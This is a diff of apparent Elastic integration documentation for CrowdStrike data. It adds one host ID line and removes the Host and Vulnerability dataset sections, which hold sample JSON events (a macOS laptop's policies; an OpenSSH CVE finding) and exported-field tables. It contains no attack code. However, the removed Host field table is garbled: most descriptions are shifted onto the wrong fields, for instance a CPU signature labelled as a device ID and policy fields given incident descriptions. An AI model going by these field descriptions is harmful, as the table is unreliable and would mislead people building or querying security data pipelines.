@@ -2703,6 +2189,7 @@ An example event for `fdr` looks as following:
         ]
     },
     "host": {
+        "id": "ffffffff655344736aca58d17fb570f0",
         "ip": [
             "16.15.12.10"
         ],
@@ -2792,752 +2279,3 @@ An example event for `fdr` looks as following:
     }
 }
 ```
-
-### Host
-
-This is the `Host` dataset.
-
-#### Example
-
-An example event for `host` looks as following:
-
-```json
-{
-    "@timestamp": "2023-11-07T10:26:53.000Z",
-    "agent": {
-        "ephemeral_id": "ca93e106-c70b-45b7-a058-ee8f088d0c70",
-        "id": "71a16dcf-a5de-41c8-9aff-5ba104165fbc",
-        "name": "elastic-agent-18005",
-        "type": "filebeat",
-        "version": "8.18.0"
-    },
-    "crowdstrike": {
-        "host": {
-            "agent": {
-                "load_flags": "0",
-                "local_time": "2023-11-07T04:51:16.678Z",
-                "version": "7.05.17603.0"
-            },
-            "bios": {
-                "manufacturer": "ABCInc.",
-                "version": "2020.0.1.0.0(iBridge:22.11.000.0.0,0)"
-            },
-            "chassis_type": {
-                "desc": "Laptop",
-                "value": "9"
-            },
-            "cid": "92012896127c4948236ba7601b886b0",
-            "config_id": {
-                "base": "6594763",
-                "build": "1703",
-                "platform": "4"
-            },
-            "connection_ip": "81.2.69.192",
-            "cpu_signature": "460517",
-            "device_policies": {
-                "device_control": {
-                    "applied": true,
-                    "applied_date": "2023-06-20T08:45:26.341Z",
-                    "assigned_date": "2023-06-20T08:43:47.736Z",
-                    "policy_id": "2f88daf0177f467dae69262a5ce71775",
-                    "policy_type": "device-control"
-                },
-                "firewall": {
-                    "applied": true,
-                    "applied_date": "2023-09-11T10:33:44.174Z",
-                    "assigned_date": "2023-09-11T10:32:47.853Z",
-                    "policy": {
-                        "id": "1ee301f7e3e24e96ad6a23c73aaac1e3",
-                        "type": "firewall"
-                    },
-                    "rule_set_id": "1ee301f7e3e24e96ad6a23c73aaac1e3"
-                },
-                "global_config": {
-                    "applied": true,
-                    "applied_date": "2023-11-07T04:52:59.515Z",
-                    "assigned_date": "2023-11-07T04:51:18.946Z",
-                    "policy": {
-                        "id": "7e3078b60976486cac5dc998808d9135",
-                        "type": "globalconfig"
-                    },
-                    "settings_hash": "f01def74"
-                },
-                "prevention": {
-                    "applied": true,
-                    "applied_date": "2023-06-08T10:04:47.643Z",
-                    "assigned_date": "2023-06-08T10:03:49.505Z",
-                    "policy": {
-                        "id": "1024fac1b279424fa7300b8ac2d56be5",
-                        "type": "prevention"
-                    },
-                    "settings_hash": "f7a54ca1"
-                },
-                "remote_response": {
-                    "applied": true,
-                    "applied_date": "2023-06-08T10:04:47.017Z",
-                    "assigned_date": "2023-06-08T10:03:49.505Z",
-                    "policy": {
-                        "id": "dabb4def99034f11b9b3d52271584c9f",
-                        "type": "remote-response"
-                    },
-                    "settings_hash": "8a548e5e"
-                },
-                "sensor_update": {
-                    "applied": true,
-                    "applied_date": "2023-11-07T04:52:59.659Z",
-                    "assigned_date": "2023-11-07T04:47:43.342Z",
-                    "policy": {
-                        "id": "64bfa2bbcd4e46da92a66b107933da11",
-                        "type": "sensor-update"
-                    },
-                    "settings_hash": "tagged|18;101",
-                    "uninstall_protection": "ENABLED"
-                }
-            },
-            "external_ip": "81.2.69.192",
-            "first_seen": "2023-06-08T10:00:19.000Z",
-            "group_hash": "b607fe25348a46d421ff46e19741b0caf5bbc70bb6da1637f56e97b4e1454d77",
-            "groups": [
-                "182388a8dbea4c44b5e019cfd32c2695"
-            ],
-            "hostname": "CLM101-131.local",
-            "id": "3114433dbce478ca48d9a828b9b34be",
-            "kernel_version": "22.6.0",
-            "last_seen": "2023-11-07T10:25:24.000Z",
-            "local_ip": "81.2.69.142",
-            "mac_address": "14-7D-DA-AD-AC-71",
-            "machine_domain": "SYS",
-            "major_version": "22",
-            "meta": {
-                "version": "6002",
-                "version_string": "7:43570272778"
-            },
-            "minor_version": "6",
-            "modified_timestamp": "2023-11-07T10:26:53.000Z",
-            "os": {
-                "build": "22G120",
-                "version": "Ventura(13)"
-            },
-            "platform": {
-                "id": "1",
-                "name": "Mac"
-            },
-            "policies": [
-                {
-                    "applied": true,
-                    "applied_date": "2023-06-08T10:04:47.643Z",
-                    "assigned_date": "2023-06-08T10:03:49.505Z",
-                    "policy": {
-                        "id": "1024fac1b279424fa7300b8ac2d56be5",
-                        "type": "prevention"
-                    },
-                    "settings_hash": "f7a54ca1"
-                }
-            ],
-            "product_type_desc": "Workstation",
-            "provision_status": "Provisioned",
-            "reduced_functionality_mode": "no",
-            "serial_number": "FVFDH73HMNHX",
-            "site_name": "Default-First-Site-Name",
-            "status": "normal",
-            "system": {
-                "manufacturer": "ABCInc.",
-                "product_name": "Air,1"
-            },
-            "tags": [
-                "tags"
-            ]
-        }
-    },
-    "data_stream": {
-        "dataset": "crowdstrike.host",
-        "namespace": "67537",
-        "type": "logs"
-    },
-    "device": {
-        "id": "3114433dbce478ca48d9a828b9b34be"
-    },
-    "ecs": {
-        "version": "8.17.0"
-    },
-    "elastic_agent": {
-        "id": "71a16dcf-a5de-41c8-9aff-5ba104165fbc",
-        "snapshot": true,
-        "version": "8.18.0"
-    },
-    "event": {
-        "agent_id_status": "verified",
-        "category": [
-            "host"
-        ],
-        "dataset": "crowdstrike.host",
-        "ingested": "2025-11-27T09:36:28Z",
-        "kind": "event",
-        "original": "{\"agent_load_flags\":\"0\",\"agent_local_time\":\"2023-11-07T04:51:16.678Z\",\"agent_version\":\"7.05.17603.0\",\"bios_manufacturer\":\"ABCInc.\",\"bios_version\":\"2020.0.1.0.0(iBridge:22.11.000.0.0,0)\",\"chassis_type\":\"9\",\"chassis_type_desc\":\"Laptop\",\"cid\":\"92012896127c4948236ba7601b886b0\",\"config_id_base\":\"6594763\",\"config_id_build\":\"1703\",\"config_id_platform\":\"4\",\"connection_ip\":\"81.2.69.192\",\"cpu_signature\":\"460517\",\"device_id\":\"3114433dbce478ca48d9a828b9b34be\",\"device_policies\":{\"device_control\":{\"applied\":true,\"applied_date\":\"2023-06-20T08:45:26.341093915Z\",\"assigned_date\":\"2023-06-20T08:43:47.736146738Z\",\"policy_id\":\"2f88daf0177f467dae69262a5ce71775\",\"policy_type\":\"device-control\"},\"firewall\":{\"applied\":true,\"applied_date\":\"2023-09-11T10:33:44.174488832Z\",\"assigned_date\":\"2023-09-11T10:32:47.853976945Z\",\"policy_id\":\"1ee301f7e3e24e96ad6a23c73aaac1e3\",\"policy_type\":\"firewall\",\"rule_set_id\":\"1ee301f7e3e24e96ad6a23c73aaac1e3\"},\"global_config\":{\"applied\":true,\"applied_date\":\"2023-11-07T04:52:59.515775409Z\",\"assigned_date\":\"2023-11-07T04:51:18.94671252Z\",\"policy_id\":\"7e3078b60976486cac5dc998808d9135\",\"policy_type\":\"globalconfig\",\"settings_hash\":\"f01def74\"},\"prevention\":{\"applied\":true,\"applied_date\":\"2023-06-08T10:04:47.643357971Z\",\"assigned_date\":\"2023-06-08T10:03:49.505180252Z\",\"policy_id\":\"1024fac1b279424fa7300b8ac2d56be5\",\"policy_type\":\"prevention\",\"rule_groups\":[],\"settings_hash\":\"f7a54ca1\"},\"remote_response\":{\"applied\":true,\"applied_date\":\"2023-06-08T10:04:47.01735027Z\",\"assigned_date\":\"2023-06-08T10:03:49.505163572Z\",\"policy_id\":\"dabb4def99034f11b9b3d52271584c9f\",\"policy_type\":\"remote-response\",\"settings_hash\":\"8a548e5e\"},\"sensor_update\":{\"applied\":true,\"applied_date\":\"2023-11-07T04:52:59.659583066Z\",\"assigned_date\":\"2023-11-07T04:47:43.342175341Z\",\"policy_id\":\"64bfa2bbcd4e46da92a66b107933da11\",\"policy_type\":\"sensor-update\",\"settings_hash\":\"tagged|18;101\",\"uninstall_protection\":\"ENABLED\"}},\"external_ip\":\"81.2.69.192\",\"first_seen\":\"2023-06-08T10:00:19Z\",\"group_hash\":\"b607fe25348a46d421ff46e19741b0caf5bbc70bb6da1637f56e97b4e1454d77\",\"groups\":[\"182388a8dbea4c44b5e019cfd32c2695\"],\"hostname\":\"CLM101-131.local\",\"kernel_version\":\"22.6.0\",\"last_seen\":\"2023-11-07T10:25:24Z\",\"local_ip\":\"81.2.69.142\",\"mac_address\":\"14-7d-da-ad-ac-71\",\"machine_domain\":\"SYS\",\"major_version\":\"22\",\"meta\":{\"version\":\"6002\",\"version_string\":\"7:43570272778\"},\"minor_version\":\"6\",\"modified_timestamp\":\"2023-11-07T10:26:53Z\",\"os_build\":\"22G120\",\"os_version\":\"Ventura(13)\",\"platform_id\":\"1\",\"platform_name\":\"Mac\",\"policies\":[{\"applied\":true,\"applied_date\":\"2023-06-08T10:04:47.643357971Z\",\"assigned_date\":\"2023-06-08T10:03:49.505180252Z\",\"policy_id\":\"1024fac1b279424fa7300b8ac2d56be5\",\"policy_type\":\"prevention\",\"rule_groups\":[],\"settings_hash\":\"f7a54ca1\"}],\"product_type_desc\":\"Workstation\",\"provision_status\":\"Provisioned\",\"reduced_functionality_mode\":\"no\",\"serial_number\":\"FVFDH73HMNHX\",\"site_name\":\"Default-First-Site-Name\",\"status\":\"normal\",\"system_manufacturer\":\"ABCInc.\",\"system_product_name\":\"Air,1\",\"tags\":[\"tags\"]}",
-        "type": [
-            "info"
-        ]
-    },
-    "host": {
-        "geo": {
-            "city_name": "London",
-            "continent_name": "Europe",
-            "country_iso_code": "GB",
-            "country_name": "United Kingdom",
-            "location": {
-                "lat": 51.5142,
-                "lon": -0.0931
-            },
-            "region_iso_code": "GB-ENG",
-            "region_name": "England"
-        },
-        "hostname": "CLM101-131.local",
-        "id": "3114433dbce478ca48d9a828b9b34be",
-        "ip": [
-            "81.2.69.192"
-        ],
-        "mac": [
-            "14-7D-DA-AD-AC-71"
-        ],
-        "os": {
-            "full": "Ventura(13)",
-            "platform": "Mac",
-            "type": "macos"
-        }
-    },
-    "input": {
-        "type": "cel"
-    },
-    "related": {
-        "hash": [
-            "f01def74",
-            "f7a54ca1",
-            "8a548e5e",
-            "tagged|18;101",
-            "b607fe25348a46d421ff46e19741b0caf5bbc70bb6da1637f56e97b4e1454d77"
-        ],
-        "hosts": [
-            "CLM101-131.local",
-            "SYS"
-        ],
-        "ip": [
-            "81.2.69.192",
-            "81.2.69.142"
-        ]
-    },
-    "tags": [
-        "preserve_original_event",
-        "preserve_duplicate_custom_fields",
-        "forwarded",
-        "crowdstrike-host"
-    ]
-}
-```
-
-**Exported fields**
-
-| Field | Description | Type |
-|---|---|---|
-| @timestamp | Event timestamp. | date |
-| crowdstrike.host.agent.load_flags | Any errors associated with the incident. | keyword |
-| crowdstrike.host.agent.local_time | The fine score associated with the incident. | date |
-| crowdstrike.host.agent.version | The list of host IDs associated with the incident. | keyword |
-| crowdstrike.host.bios.manufacturer | Flags indicating the load status of the agent on the host. | keyword |
-| crowdstrike.host.bios.version | The local time on the host where the agent is running. | keyword |
-| crowdstrike.host.chassis_type.desc | The version of the agent running on the host. | keyword |
-| crowdstrike.host.chassis_type.value | The manufacturer of the BIOS on the host. | keyword |
-| crowdstrike.host.cid | The version of the BIOS on the host. | keyword |
-| crowdstrike.host.config_id.base | The customer ID associated with the host. | keyword |
-| crowdstrike.host.config_id.build | The base configuration ID associated with the host. | keyword |
-| crowdstrike.host.config_id.platform | The build configuration ID associated with the host. | keyword |
-| crowdstrike.host.connection_ip | The platform configuration ID associated with the host. | ip |
-| crowdstrike.host.cpu_signature | The device ID associated with the host. | keyword |
-| crowdstrike.host.device_policies.device_control.applied | Timestamp indicating when the host was first seen. | boolean |
-| crowdstrike.host.device_policies.device_control.applied_date | The groups associated with the host. | date |
-| crowdstrike.host.device_policies.device_control.assigned_date | Timestamp indicating when the host was last seen. | date |
-| crowdstrike.host.device_policies.device_control.policy_id | The local IP address of the host. | keyword |
-| crowdstrike.host.device_policies.device_control.policy_type | The domain to which the machine belongs. | keyword |
-| crowdstrike.host.device_policies.firewall.applied | The major version of the operating system on the host. | boolean |
-| crowdstrike.host.device_policies.firewall.applied_date | The minor version of the operating system on the host. | date |
-| crowdstrike.host.device_policies.firewall.assigned_date | Timestamp indicating when the host information was last modified. | date |
-| crowdstrike.host.device_policies.firewall.policy.id | The organizational units associated with the host. | keyword |
-| crowdstrike.host.device_policies.firewall.policy.type | The platform ID of the host. | keyword |
-| crowdstrike.host.device_policies.firewall.rule_set_id | The platform name of the host. | keyword |
-| crowdstrike.host.device_policies.global_config.applied | The description of the product type of the host. | boolean |
-| crowdstrike.host.device_policies.global_config.applied_date | The product type of the host. | date |
-| crowdstrike.host.device_policies.global_config.assigned_date | The site name associated with the host. | date |
-| crowdstrike.host.device_policies.global_config.policy.id | The status of the host. | keyword |
-| crowdstrike.host.device_policies.global_config.policy.type | The manufacturer of the system on the host. | keyword |
-| crowdstrike.host.device_policies.global_config.settings_hash | The product name of the system on the host. | keyword |
-| crowdstrike.host.device_policies.prevention.applied | The objectives associated with the incident. | boolean |
-| crowdstrike.host.device_policies.prevention.applied_date | The state of the incident, whether open or closed. | date |
-| crowdstrike.host.device_policies.prevention.assigned_date | The status of the incident. | date |
-| crowdstrike.host.device_policies.prevention.policy.id | The tactics associated with the incident. | keyword |
-| crowdstrike.host.device_policies.prevention.policy.type | The techniques associated with the incident. | keyword |
-| crowdstrike.host.device_policies.prevention.rule_groups | The type of incident. | keyword |
-| crowdstrike.host.device_policies.prevention.settings_hash | The users associated with the incident. | keyword |
-| crowdstrike.host.device_policies.remote_response.applied |  | boolean |
-| crowdstrike.host.device_policies.remote_response.applied_date |  | date |
-| crowdstrike.host.device_policies.remote_response.assigned_date |  | date |
-| crowdstrike.host.device_policies.remote_response.policy.id |  | keyword |
-| crowdstrike.host.device_policies.remote_response.policy.type |  | keyword |
-| crowdstrike.host.device_policies.remote_response.settings_hash |  | keyword |
-| crowdstrike.host.device_policies.sensor_update.applied |  | boolean |
-| crowdstrike.host.device_policies.sensor_update.applied_date |  | date |
-| crowdstrike.host.device_policies.sensor_update.assigned_date |  | date |
-| crowdstrike.host.device_policies.sensor_update.policy.id |  | keyword |
-| crowdstrike.host.device_policies.sensor_update.policy.type |  | keyword |
-| crowdstrike.host.device_policies.sensor_update.settings_hash |  | keyword |
-| crowdstrike.host.device_policies.sensor_update.uninstall_protection |  | keyword |
-| crowdstrike.host.external_ip | The external IP address of the host. | ip |
-| crowdstrike.host.first_seen |  | date |
-| crowdstrike.host.group_hash |  | keyword |
-| crowdstrike.host.groups |  | keyword |
-| crowdstrike.host.hostname | The hostname of the host. | keyword |
-| crowdstrike.host.id | Timestamp indicating when the incident started. | keyword |
-| crowdstrike.host.kernel_version |  | keyword |
-| crowdstrike.host.last_seen |  | date |
-| crowdstrike.host.local_ip |  | ip |
-| crowdstrike.host.mac_address | The MAC address of the host. | keyword |
-| crowdstrike.host.machine_domain |  | keyword |
-| crowdstrike.host.major_version |  | keyword |
-| crowdstrike.host.meta.version |  | keyword |
-| crowdstrike.host.meta.version_string |  | keyword |
-| crowdstrike.host.minor_version |  | keyword |
-| crowdstrike.host.modified_timestamp | Timestamp indicating when the incident was created. | date |
-| crowdstrike.host.os.build |  | keyword |
-| crowdstrike.host.os.version | The version of the operating system on the host. | keyword |
-| crowdstrike.host.ou | The organizational unit of the host as seen by the sensor. | keyword |
-| crowdstrike.host.platform.id |  | keyword |
-| crowdstrike.host.platform.name | The identifier associated with the customer. | keyword |
-| crowdstrike.host.policies.applied |  | boolean |
-| crowdstrike.host.policies.applied_date |  | date |
-| crowdstrike.host.policies.assigned_date |  | date |
-| crowdstrike.host.policies.policy.id |  | keyword |
-| crowdstrike.host.policies.policy.type |  | keyword |
-| crowdstrike.host.policies.rule_groups |  | keyword |
-| crowdstrike.host.policies.settings_hash |  | keyword |
-| crowdstrike.host.product_type_desc |  | keyword |
-| crowdstrike.host.provision_status |  | keyword |
-| crowdstrike.host.reduced_functionality_mode |  | keyword |
-| crowdstrike.host.serial_number |  | keyword |
-| crowdstrike.host.site_name |  | keyword |
-| crowdstrike.host.status |  | keyword |
-| crowdstrike.host.system.manufacturer |  | keyword |
-| crowdstrike.host.system.product_name |  | keyword |
-| crowdstrike.host.tags |  | keyword |
-| data_stream.dataset | Data stream dataset. | constant_keyword |
-| data_stream.namespace | Data stream namespace. | constant_keyword |
-| data_stream.type | Data stream type. | constant_keyword |
-| event.dataset | Event dataset. | constant_keyword |
-| event.module | Event module. | constant_keyword |
-| input.type | Type of filebeat input. | keyword |
-| log.offset | Log offset. | long |
-| tags | List of keywords used to tag each event. | keyword |
-
-
-### Vulnerability
-
-This is the `Vulnerability` dataset.
-
-#### Example
-
-An example event for `vulnerability` looks as following:
-
-```json
-{
-    "@timestamp": "2025-02-25T13:33:23.000Z",
-    "agent": {
-        "ephemeral_id": "6eee1701-fd23-48b2-9593-d4e3e98abf5a",
-        "id": "9a4ac145-5b4f-4734-92fb-2c1dd1254ed4",
-        "name": "elastic-agent-98024",
-        "type": "filebeat",
-        "version": "8.18.0"
-    },
-    "crowdstrike": {
-        "vulnerability": {
-            "aid": "897580adb4ab4540a357536faa41de18",
-            "app": {
-                "product_name_normalized": "openssh",
-                "product_name_version": "openssh 1:9.6p1-3ubuntu13.4",
-                "vendor_normalized": "Ubuntu"
-            },
-            "apps": [
-                {
-                    "evaluation_logic": {
-                        "aid": "897580adb4ab4540a357536faa41de18",
-                        "cid": "2cd98db1a47b4c98b913c94d43bfab70",
-                        "complex_check_operator": "AND",
-                        "created_timestamp": "2025-02-20T10:15:30.000Z",
-                        "id": "138bd6a67791327ab367838079b4d786",
-                        "logic": [
-                            {
-                                "comparison_check": "equals",
-                                "comparisons": {
-                                    "state_comparisons": [
-                                        {
-                                            "entity_comparisons": [
-                                                {
-                                                    "actual_value_field": "version",
-                                                    "operation": "equals",
-                                                    "value_datatype": "string"
-                                                }
-                                            ],
-                                            "entity_operator": "AND"
-                                        }
-                                    ],
-                                    "state_operator": "OR"
-                                },
-                                "determined_by_comparison": true,
-                                "existence_check": "Yes",
-                                "id": "logic-12345",
-                                "negate": false,
-                                "status": "active",
-                                "title": "Evaluation Logic for OpenSSH",
-                                "type": "comparison"
-                            }
-                        ],
-                        "updated_timestamp": "2025-02-25T13:33:23.000Z"
-                    },
-                    "patch_publication_date": "2025-02-19T00:00:00.000Z",
-                    "product_name_normalized": "openssh",
-                    "product_name_version": "openssh 1:9.6p1-3ubuntu13.4",
-                    "remediation": {
-                        "ids": [
-                            "4688299d204b35a192828bdaf556ecf8"
-                        ]
-                    },
-                    "remediation_info": {
-                        "minimum_id": "df1af7df1d33382398fb0dc268109a4d",
-                        "patch_publication_date": "2025-02-19T00:00:00.000Z",
-                        "recommended_id": "4688299d207b35a192828bdaf556ecf8"
-                    },
-                    "sub_status": "open",
-                    "vendor_normalized": "Ubuntu"
-                }
-            ],
-            "cid": "2cd98db1a47b4c98b913c94d43bfab70",
-            "closed_timestamp": "2025-02-26T10:00:00.000Z",
-            "confidence": "confirmed",
-            "created_timestamp": "2025-02-20T10:10:24.000Z",
-            "cve": {
-                "base_score": 6.8,
-                "cisa_info": {
-                    "due_date": "2025-03-01T00:00:00.000Z",
-                    "is_cisa_kev": false
-                },
-                "cwes": [
-                    "CWE-123"
-                ],
-                "description": "A vulnerability was found in OpenSSH...",
-                "exploit_status": 30,
-                "exploitability_score": 1.6,
-                "exprt_rating": "MEDIUM",
-                "id": "CVE-2025-26465",
-                "impact_score": 5.2,
-                "published_date": "2025-02-18T19:15:00.000Z",
-                "references": [
-                    "https://ubuntu.com/security/CVE-2025-26465"
-                ],
-                "remediation_level": "O",
-                "severity": "MEDIUM",
-                "spotlight_published_date": "2025-02-19T05:32:00.000Z",
-                "types": [
-                    "Vulnerability"
-                ],
-                "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:N"
-            },
-            "data_providers": [
-                {
-                    "ports": [
-                        22,
-                        80
-                    ],
-                    "provider": "Falcon sensor",
-                    "rating": "high",
-                    "scan_id": "scan-123456",
-                    "scan_time": "2025-02-20T12:00:00Z",
-                    "scanner_id": "scanner-xyz"
-                }
-            ],
-            "host_info": {
-                "asset_criticality": "Critical",
-                "groups": [
-                    {
-                        "id": "group-123",
-                        "name": "Production"
-                    }
-                ],
-                "has_run_container": false,
-                "host_last_seen_timestamp": "2025-02-18T00:00:00.000Z",
-                "hostname": "ub24-50-10-154",
-                "internet_exposure": "No",
-                "local_ip": "1.128.0.0",
-                "machine_domain": "example.local",
-                "managed_by": "Falcon sensor",
-                "os_version": "Ubuntu 24.04",
-                "platform": "Linux",
-                "product_type_desc": "Server",
-                "service_provider": "AWS",
-                "service_provider_account_id": "123456789012",
-                "system_manufacturer": "Dell",
-                "tags": [
-                    "production",
-                    "security"
-                ]
-            },
-            "id": "897580adb4ab4540a457536faa42de18_eda961728a22320da280bd9d181a798b",
-            "remediation": {
-                "entities": [
-                    {
-                        "action": "Update ubuntu openssh to version 1:9.6p1-3ubuntu13.8 or newer",
-                        "id": "4688299d207b35a192828bdaf556ecf8",
-                        "link": "https://ubuntu.com/security/CVE-2025-26465",
-                        "recommendation_type": "recommended",
-                        "reference": "1:9.6p1-3ubuntu13.8",
-                        "title": "Update ubuntu openssh",
-                        "vendor_url": "https://www.openssh.com"
-                    }
-                ],
-                "ids": [
-                    "4688299d207b35a192828bdaf556ecf8",
-                    "df1af7df1d33382398fb0dc268109a4d"
-                ]
-            },
-            "status": "open",
-            "suppression_info": {
-                "is_suppressed": false,
-                "reason": "Not applicable"
-            },
-            "updated_timestamp": "2025-02-25T13:33:23.000Z",
-            "vulnerability_id": "CVE-2025-26465"
-        }
-    },
-    "data_stream": {
-        "dataset": "crowdstrike.vulnerability",
-        "namespace": "35952",
-        "type": "logs"
-    },
-    "ecs": {
-        "version": "8.17.0"
-    },
-    "elastic_agent": {
-        "id": "9a4ac145-5b4f-4734-92fb-2c1dd1254ed4",
-        "snapshot": true,
-        "version": "8.18.0"
-    },
-    "event": {
-        "agent_id_status": "verified",
-        "category": [
-            "vulnerability"
-        ],
-        "dataset": "crowdstrike.vulnerability",
-        "id": "897580adb4ab4540a457536faa42de18_eda961728a22320da280bd9d181a798b",
-        "ingested": "2025-08-22T08:33:35Z",
-        "kind": "event",
-        "original": "{\"aid\":\"897580adb4ab4540a357536faa41de18\",\"app\":{\"product_name_normalized\":\"openssh\",\"product_name_version\":\"openssh 1:9.6p1-3ubuntu13.4\",\"vendor_normalized\":\"Ubuntu\"},\"apps\":[{\"evaluation_logic\":{\"aid\":\"897580adb4ab4540a357536faa41de18\",\"cid\":\"2cd98db1a47b4c98b913c94d43bfab70\",\"complex_check_operator\":\"AND\",\"created_timestamp\":\"2025-02-20T10:15:30Z\",\"id\":\"138bd6a67791327ab367838079b4d786\",\"logic\":[{\"comparison_check\":\"equals\",\"comparisons\":{\"state_comparisons\":[{\"entity_comparisons\":[{\"actual_value_field\":\"version\",\"operation\":\"equals\",\"value_datatype\":\"string\"}],\"entity_operator\":\"AND\"}],\"state_operator\":\"OR\"},\"determined_by_comparison\":true,\"existence_check\":\"Yes\",\"id\":\"logic-12345\",\"negate\":false,\"status\":\"active\",\"title\":\"Evaluation Logic for OpenSSH\",\"type\":\"comparison\"}],\"updated_timestamp\":\"2025-02-25T13:33:23Z\"},\"patch_publication_date\":\"2025-02-19T00:00:00Z\",\"product_name_normalized\":\"openssh\",\"product_name_version\":\"openssh 1:9.6p1-3ubuntu13.4\",\"remediation\":{\"ids\":[\"4688299d204b35a192828bdaf556ecf8\"]},\"remediation_info\":{\"minimum_id\":\"df1af7df1d33382398fb0dc268109a4d\",\"patch_publication_date\":\"2025-02-19T00:00:00Z\",\"recommended_id\":\"4688299d207b35a192828bdaf556ecf8\"},\"sub_status\":\"open\",\"vendor_normalized\":\"Ubuntu\"}],\"cid\":\"2cd98db1a47b4c98b913c94d43bfab70\",\"closed_timestamp\":\"2025-02-26T10:00:00Z\",\"confidence\":\"confirmed\",\"created_timestamp\":\"2025-02-20T10:10:24Z\",\"cve\":{\"base_score\":6.8,\"cisa_info\":{\"due_date\":\"2025-03-01\",\"is_cisa_kev\":false},\"cwes\":[\"CWE-123\"],\"description\":\"A vulnerability was found in OpenSSH...\",\"exploit_status\":30,\"exploitability_score\":1.6,\"exprt_rating\":\"MEDIUM\",\"id\":\"CVE-2025-26465\",\"impact_score\":5.2,\"published_date\":\"2025-02-18T19:15:00Z\",\"references\":[\"https://ubuntu.com/security/CVE-2025-26465\"],\"remediation_level\":\"O\",\"severity\":\"MEDIUM\",\"spotlight_published_date\":\"2025-02-19T05:32:00Z\",\"types\":[\"Vulnerability\"],\"vector\":\"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:N\"},\"data_providers\":[{\"ports\":[22,80],\"provider\":\"Falcon sensor\",\"rating\":\"high\",\"scan_id\":\"scan-123456\",\"scan_time\":\"2025-02-20T12:00:00Z\",\"scanner_id\":\"scanner-xyz\"}],\"host_info\":{\"asset_criticality\":\"Critical\",\"groups\":[{\"id\":\"group-123\",\"name\":\"Production\"}],\"has_run_container\":false,\"host_last_seen_timestamp\":\"2025-02-18T00:00:00Z\",\"hostname\":\"ub24-50-10-154\",\"internet_exposure\":\"No\",\"local_ip\":\"1.128.0.0\",\"machine_domain\":\"example.local\",\"managed_by\":\"Falcon sensor\",\"os_version\":\"Ubuntu 24.04\",\"platform\":\"Linux\",\"product_type_desc\":\"Server\",\"service_provider\":\"AWS\",\"service_provider_account_id\":\"123456789012\",\"system_manufacturer\":\"Dell\",\"tags\":[\"production\",\"security\"]},\"id\":\"897580adb4ab4540a457536faa42de18_eda961728a22320da280bd9d181a798b\",\"remediation\":{\"entities\":[{\"action\":\"Update ubuntu openssh to version 1:9.6p1-3ubuntu13.8 or newer\",\"id\":\"4688299d207b35a192828bdaf556ecf8\",\"link\":\"https://ubuntu.com/security/CVE-2025-26465\",\"recommendation_type\":\"recommended\",\"reference\":\"1:9.6p1-3ubuntu13.8\",\"title\":\"Update ubuntu openssh\",\"vendor_url\":\"https://www.openssh.com\"}],\"ids\":[\"4688299d207b35a192828bdaf556ecf8\",\"df1af7df1d33382398fb0dc268109a4d\"]},\"status\":\"open\",\"suppression_info\":{\"is_suppressed\":false,\"reason\":\"Not applicable\"},\"updated_timestamp\":\"2025-02-25T13:33:23Z\",\"vulnerability_id\":\"CVE-2025-26465\"}",
-        "type": [
-            "info"
-        ]
-    },
-    "host": {
-        "id": "897580adb4ab4540a357536faa41de18",
-        "ip": [
-            "1.128.0.0"
-        ],
-        "name": "ub24-50-10-154",
-        "os": {
-            "name": "Ubuntu 24.04",
-            "platform": "Linux",
-            "type": "linux"
-        }
-    },
-    "input": {
-        "type": "cel"
-    },
-    "message": "A vulnerability was found in OpenSSH...",
-    "observer": {
-        "product": "Falcon sensor",
-        "type": "sensor",
-        "vendor": "Crowdstrike"
-    },
-    "package": {
-        "name": "openssh"
-    },
-    "related": {
-        "hosts": [
-            "ub24-50-10-154"
-        ],
-        "ip": [
-            "1.128.0.0"
-        ]
-    },
-    "tags": [
-        "preserve_original_event",
-        "preserve_duplicate_custom_fields",
-        "forwarded",
-        "crowdstrike-vulnerability"
-    ],
-    "vulnerability": {
-        "description": "A vulnerability was found in OpenSSH...",
-        "enumeration": "CVE",
-        "id": "CVE-2025-26465",
-        "reference": [
-            "https://ubuntu.com/security/CVE-2025-26465"
-        ],
-        "report_id": [
-            "scan-123456"
-        ],
-        "scanner": {
-            "vendor": "Crowdstrike"
-        },
-        "score": {
-            "base": 6.8
-        },
-        "severity": "Medium"
-    }
-}
-```
-
-**Exported fields**
-
-| Field | Description | Type |
-|---|---|---|
-| @timestamp | Event timestamp. | date |
-| crowdstrike.vulnerability.aid |  | keyword |
-| crowdstrike.vulnerability.app.product_name_normalized |  | keyword |
-| crowdstrike.vulnerability.app.product_name_version |  | keyword |
-| crowdstrike.vulnerability.app.vendor_normalized |  | keyword |
-| crowdstrike.vulnerability.apps.evaluation_logic.aid |  | keyword |
-| crowdstrike.vulnerability.apps.evaluation_logic.cid |  | keyword |
-| crowdstrike.vulnerability.apps.evaluation_logic.complex_check_operator |  | keyword |
-| crowdstrike.vulnerability.apps.evaluation_logic.created_timestamp |  | date |
-| crowdstrike.vulnerability.apps.evaluation_logic.data_provider |  | keyword |
-| crowdstrike.vulnerability.apps.evaluation_logic.host_info.entities_matched.asset_id |  | keyword |
-| crowdstrike.vulnerability.apps.evaluation_logic.id |  | keyword |
-| crowdstrike.vulnerability.apps.evaluation_logic.logic.comparison_check |  | keyword |
-| crowdstrike.vulnerability.apps.evaluation_logic.logic.comparisons.state_comparisons.entity_comparisons.actual_value_field |  | keyword |
-| crowdstrike.vulnerability.apps.evaluation_logic.logic.comparisons.state_comparisons.entity_comparisons.expected_value |  | keyword |
-| crowdstrike.vulnerability.apps.evaluation_logic.logic.comparisons.state_comparisons.entity_comparisons.operation |  | keyword |
-| crowdstrike.vulnerability.apps.evaluation_logic.logic.comparisons.state_comparisons.entity_comparisons.value_datatype |  | keyword |
-| crowdstrike.vulnerability.apps.evaluation_logic.logic.comparisons.state_comparisons.entity_operator |  | keyword |
-| crowdstrike.vulnerability.apps.evaluation_logic.logic.comparisons.state_operator |  | keyword |
-| crowdstrike.vulnerability.apps.evaluation_logic.logic.description |  | keyword |
-| crowdstrike.vulnerability.apps.evaluation_logic.logic.determined_by_comparison |  | boolean |
-| crowdstrike.vulnerability.apps.evaluation_logic.logic.existence_check |  | keyword |
-| crowdstrike.vulnerability.apps.evaluation_logic.logic.id |  | keyword |
-| crowdstrike.vulnerability.apps.evaluation_logic.logic.items |  | nested |
-| crowdstrike.vulnerability.apps.evaluation_logic.logic.items.arch |  | keyword |
-| crowdstrike.vulnerability.apps.evaluation_logic.logic.items.comparison_result |  | keyword |
